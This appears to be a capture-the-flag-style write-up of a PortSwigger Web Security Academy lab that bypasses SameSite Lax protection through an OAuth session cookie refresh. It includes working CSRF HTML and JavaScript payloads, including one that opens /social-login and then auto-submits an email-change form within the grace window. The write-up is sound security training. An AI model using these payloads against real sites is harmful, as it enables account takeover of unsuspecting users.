Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — SameSite Lax Bypass via OAuth Cookie Refresh
Difficulty Practitioner
Target 0a88009204ec047f806771be007a00c6.web-security-academy.net
OAuth Server oauth-0a20000d04af0440805f6f9602930050.oauth-server.net
Objective Change the victim's email address by exploiting a post-OAuth session cookie with no SameSite attribute

SameSite Lax Bypass via Cookie Refresh — Writeup


Reconnaissance

Initial Observation

The application uses OAuth-based login. Logging in as wiener:peter via the social media flow triggers an authorization prompt and redirects through the OAuth server:

https://oauth-0a20000d04af0440805f6f9602930050.oauth-server.net/interaction/zKp7fR93dM7LntFFKQzrI
Screenshot

After authorization the browser lands on the callback URL:

https://0a88009204ec047f806771be007a00c6.web-security-academy.net/oauth-callback?code=RLWPZd-0o79jm3mobMve3QYOvo69QiURiMyW_rZzUMh
Screenshot

Reviewing the OAuth flow in Burp's HTTP history. During the OAuth interaction, cookies are set with SameSite=Lax:

Set-Cookie: _interaction=zKp7fR93dM7LntFFKQzrI; samesite=lax; secure; httponly
Set-Cookie: _interaction_resume=zKp7fR93dM7LntFFKQzrI; samesite=lax; secure; httponly
Screenshot

But when the OAuth callback completes and the application issues a new session cookie, the SameSite attribute is absent:

GET /oauth-callback?code=RLWPZd-0o79jm3mobMve3QYOvo69QiURiMyW_rZzUMh HTTP/2
Cookie: session=cRbJ1pjdPzZvarXWSqpnAHGPu3B1lXzJ
HTTP/2 200 OK
Set-Cookie: session=hBkjzoFwOLpw1cM5bGtlH3SU9K1mzxs4; Expires=Sat, 23 May 2026 04:40:38 UTC; Secure; HttpOnly

No SameSite — browsers default this to Lax, but there's a key exception: cookies without an explicit SameSite attribute are treated as Lax with a two-minute grace window during which they are also sent on cross-site POST requests. If the CSRF attack fires within two minutes of the cookie being issued, the POST will carry it.

Email Change — No CSRF Token

The email change endpoint has no CSRF token. A cross-site POST is the only thing standing between the attacker and a working exploit, and that's exactly what the cookie refresh window enables.


Attack Path

Initial PoC — Confirming the Email Change Works

Testing the base CSRF payload against the local account first:

<form class="login-form" name="change-email-form" action="https://0a88009204ec047f806771be007a00c6.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="hidden" name="email" value="[email protected]">
</form>

<script>
    document.forms[0].submit();
</script>
Screenshot
Screenshot

Email changes when viewing the exploit as wiener. But delivering it to the victim doesn't solve the lab — the victim may not have a fresh session cookie. If their session predates the two-minute window, the cross-site POST won't carry the cookie and the request gets bounced to /social-login.

Full Exploit — Force OAuth Refresh Before Submitting

The solution is to force the victim through the OAuth flow first, issuing a fresh session cookie with no explicit SameSite, then submit the form within the grace window. window.open triggers the OAuth refresh in a new tab; setTimeout holds the form submission for five seconds while the cookie is set:

<form class="login-form" name="change-email-form" action="https://0a88009204ec047f806771be007a00c6.web-security-academy.net/my-account/change-email" method="POST">
    <input required="" type="hidden" name="email" value="[email protected]">
</form>

<script>
    window.open("https://0a88009204ec047f806771be007a00c6.web-security-academy.net/social-login");
    setTimeout(updateEmail, 5000);
    function updateEmail(){
        document.forms[0].submit();
    }
</script>
Screenshot

Sequence on victim's browser:

  1. window.open opens /social-login → OAuth flow completes → fresh session cookie issued with no SameSite.
  2. Five-second delay passes — still within the two-minute grace window.
  3. updateEmail() fires → document.forms[0].submit() sends a cross-site POST.
  4. Browser includes the fresh cookie (grace window active) → server processes the email change.

Delivering the exploit to the victim solves the lab :P

Resources